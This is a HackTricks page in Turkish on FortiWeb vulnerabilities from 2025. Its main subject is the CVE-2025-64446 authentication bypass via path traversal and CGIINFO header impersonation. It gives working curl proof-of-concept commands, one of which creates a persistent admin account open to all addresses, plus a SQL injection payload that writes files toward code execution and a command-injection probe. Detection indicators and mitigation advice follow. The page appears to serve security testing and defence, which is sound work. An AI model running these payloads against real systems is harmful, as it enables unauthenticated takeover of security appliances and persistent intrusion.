Fortinet FortiWeb — Auth bypass via API-prefix traversal and CGIINFO impersonation
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Genel Bakış
Fortinet FortiWeb, /cgi-bin/fwbcgi konumunda merkezi bir CGI dağıtıcısı açığa çıkarır. İki açık zinciri, kimliği doğrulanmamış uzaktan bir saldırganın şunları yapmasına izin verir:
- Geçerli bir API prefix ile URL’yi başlatarak ve dizinleri geçerek
fwbcgi’ye ulaşmak. - CGI’nin kimlik olarak güvendiği özel bir HTTP header sağlayarak herhangi bir kullanıcıyı (yerleşik
admindahil) taklit etmek.
Tedarikçi bildirimi: FG‑IR‑25‑910 (CVE‑2025‑64446). Sömürülmenin gerçek dünyada kalıcı admin kullanıcıları oluşturmak için kullanıldığı gözlemlenmiştir.
Etkilenen sürümler (kamuya açık dökümana göre):
- 8.0 < 8.0.2
- 7.6 < 7.6.5
- 7.4 < 7.4.10
- 7.2 < 7.2.12
- 7.0 < 7.0.12
- 6.4 ≤ 6.4.3
- 6.3 ≤ 6.3.23
FortiWeb 8.0.2 aşağıdaki traversal probe için HTTP 403 döndürür.
Hızlı zafiyet testi
- Path traversal from API prefix to
fwbcgi:
GET /api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host: <target>
- Yorum: HTTP 200 → muhtemelen savunmasız; HTTP 403 → yamalı.
Kök neden zinciri
- API-prefix path traversal to internal CGI
- Geçerli bir FortiWeb API ön ekiyle başlayan herhangi bir istek yolu (ör.,
/api/v2.0/cmdb/veya/api/v2.0/cmd/)../kullanarak/cgi-bin/fwbcgi’ye erişebilir.
- Minimal-body validation bypass
fwbcgi’ye ulaşıldığında, ilk kontrol/var/log/inputcheck/altındaki yol-bağımlı bir dosyaya dayalı gevşek bir JSON denetimi gerçekleştirir. Dosya yoksa denetim hemen geçer. Dosya varsa, istek gövdesinin yalnızca geçerli JSON olması yeterlidir. Minimum uyumlu gövde olarak{}kullanın.
- Header-driven user impersonation
- Program, CGI ortam değişkeni
HTTP_CGIINFO’i (HTTP headerCGIINFO’den türetilmiş) okur, Base64 ile decode eder, JSON’u parse eder ve öznitelikleri doğrudan login bağlamına kopyalar; domain/VDOM’u ayarlar. İlgili anahtarlar: username,loginname,vdom,profname- Yerleşik admin’i taklit etmek için örnek JSON:
{
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}
Yukarıdakinin Base64’i (gerçek dünyada kullanıldığı hali):
eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==
Uçtan uca kötüye kullanım deseni (kimliksiz → admin)
- API-prefix traversal yoluyla
/cgi-bin/fwbcgi’ye erişin. - Girdi kontrolünü geçmek için herhangi geçerli bir JSON gövdesi (ör.
{}) sağlayın. - JSON’un hedef kimliğini tanımladığı header
CGIINFO: <base64(json)>gönderin. - Yetkili işlemleri gerçekleştirmek için
fwbcgitarafından beklenen backend JSON’u POST edin (ör., kalıcılık için bir admin kullanıcısı oluşturmak).
Minimal cURL PoC
- Traversal açığını test et:
curl -ik 'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
- admin kimliğine bürün ve yeni bir local admin user oluştur:
# Base64(JSON) for admin impersonation
B64='eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ=='
curl -ik \
-H "CGIINFO: $B64" \
-H 'Content-Type: application/json' \
-X POST \
--data '{"data":{"name":"watchTowr","access-profile":"prof_admin","access-profile_val":"0","trusthostv4":"0.0.0.0/0","trusthostv6":"::/0","type":"local-user","type_val":"0","password":"P@ssw0rd!"}}' \
'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
Notlar:
- Geçerli herhangi bir JSON gövdesi yeterlidir (ör.
{}) eğer/var/log/inputcheck/<path>.jsonmevcut değilse. - Eylem şeması FortiWeb’e özeldir; yukarıdaki örnek tam yetkili bir yerel admin ekler.
Hızlıca kontrol etmeye değer diğer FortiWeb 2025 zafiyetleri
Pre-auth Fabric Connector SQLi → RCE (CVE-2025-25257)
- Etkilenen sürümler: 7.6.0–7.6.3, 7.4.0–7.4.7, 7.2.0–7.2.10, 7.0.0–7.0.10. Düzeltildi: 7.6.4 / 7.4.8 / 7.2.11 / 7.0.11.
- Hata:
get_fabric_user_by_token()Authorization: Bearer <token>değerini bir SQL sorgusunda doğrudan kullanıyor. Saldırgan, MySQL kullanıcısı olarak çalışan SQL sağlayıpSELECT ... INTO OUTFILEile dosya bırakabilir; bu da kod yürütmeye (webshell/.pthloader) yol açar. - Tipik saldırı yüzeyi: yönetim düzleminde HTTP/HTTPS üzerinden erişilebilen
/api/fabric/device/status(ve diğer Fabric Connector uç noktaları). - SQLi için hızlı test:
curl -sk -X POST \
-H "Authorization: Bearer ' UNION SELECT NULL,NULL,NULL,NULL INTO OUTFILE '/data/var/tmp/pwn.txt' -- -" \
https://<host>/api/fabric/device/status
- Silahlandırma: FortiWeb’in Python site-packages dizinine, yorumlayıcı başlatıldığında
os;os.system(...)import eden bir.pthyazmak veya webroot altına bir CGI bırakmak. Servislerin yeniden yüklenmesi payload’u çalıştırır. - Tespit ipuçları: Authorization header’larında quotes/UNION/SELECT içermesi;
/data/lib/python*/site-packages/veya/data/var/waf/html/ROOT/cgi-bin/altında beklenmeyen dosyalar.
FortiCloud SSO signature bypass (CVE-2025-59719)
- Uygunsuz SAML imza doğrulaması, saldırganın FortiCloud SSO yanıtlarını sahteleyip kimlik bilgisi olmadan admin olarak oturum açmasına izin verir.
- Sadece FortiCloud SSO login etkin olduğunda kötüye kullanılabilir (cihaz GUI üzerinden kaydedildiyse, kullanıcı onay kutusunun işaretini kaldırmadıysa otomatik olarak etkinleşir).
- Etkilenenler (PSIRT’ye göre): 8.0.0, 7.6.0–7.6.4, 7.4.0–7.4.9. Düzeltildi: 8.0.1 / 7.6.5 / 7.4.10.
OS command injection in management plane (CVE-2025-58034)
- Etkilenenler: 7.0.0–7.0.11, 7.2.0–7.2.11, 7.4.0–7.4.10, 7.6.0–7.6.5, 8.0.0–8.0.1. Düzeltildi: 7.0.12 / 7.2.12 / 7.4.11 / 7.6.6 / 8.0.2.
- Pratik prob (zararsız): yönetim HTTP uç noktalarına
;id;içeren bir parametre gönderin ve komut çıktısı içeren 500 yanıtlarını izleyin; herhangi bir echo görülürse hemen engelleyin veya patch uygulayın.
Detection
- API-önekli yollar içinde
../içeren isteklerin/cgi-bin/fwbcgi’ye ulaşması (ör.,/api/v2.0/cmdb/.../../../../../../cgi-bin/fwbcgi). CGIINFObaşlığının Base64 JSON içermesi veusername/loginname/vdom/profnameanahtarlarını barındırması.- Fabric Connector SQLi: Authorization header’larında SQL metakarakterleri, Python site-packages/CGI dizinlerinde aniden beliren dosyalar, internet IP’lerinden
/api/fabric/device/status’e yapılan istekler. - FortiCloud SSO:
/var/log/ssodiçinde beklenmeyen SAML issuer veya audience değerleri. - Arka uç artefaktları:
- Yol-bağılı dosyalar
/var/log/inputcheck/altında (gate konfigürasyonu). - Beklenmeyen admin oluşturma ve konfigürasyon değişiklikleri.
- Hızlı doğrulama: traversal probunun 200 döndürmesi (açık) vs 403 (düzeltilmiş sürümlerde engellenmiş).
Mitigation
- Vendor advisory’e göre düzeltme içeren sürümlere yükseltin (örnekler: 8.0.2, 7.6.5, 7.4.10, 7.2.12, 7.0.12).
- Diğer 2025 açıklarını da yama uygulayın: SQLi (7.6.4/7.4.8/7.2.11/7.0.11), SSO bypass (8.0.1/7.6.5/7.4.10), command injection (7.6.6/7.4.11/7.2.12/7.0.12/8.0.2).
- Yama uygulanana kadar:
- FortiWeb yönetim düzlemini güvensiz ağlara açmayın.
- Engellemek için reverse-proxy/WAF kuralları ekleyin:
/api/ile başlayıp../cgi-bin/fwbcgiiçeren yollar.CGIINFObaşlığı taşıyan istekler.- Authorization içinde SQL metakarakterleri olan Fabric Connector çağrıları.
- FortiCloud SSO kullanılmıyorsa SAML uç noktalarını internetten erişime kapatın.
- Yukarıdaki tespit göstergelerini izleyin ve uyarı oluşturun.
References
- When the impersonation function gets used to impersonate users — Fortinet FortiWeb auth bypass (watchTowr Labs)
- watchTowr vs FortiWeb Auth Bypass — Detection artefact generator
- CVE-2025-25257 — Fabric Connector pre-auth SQLi PoC
- FortiCloud SSO signature bypass overview (CVE-2025-59719)
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.


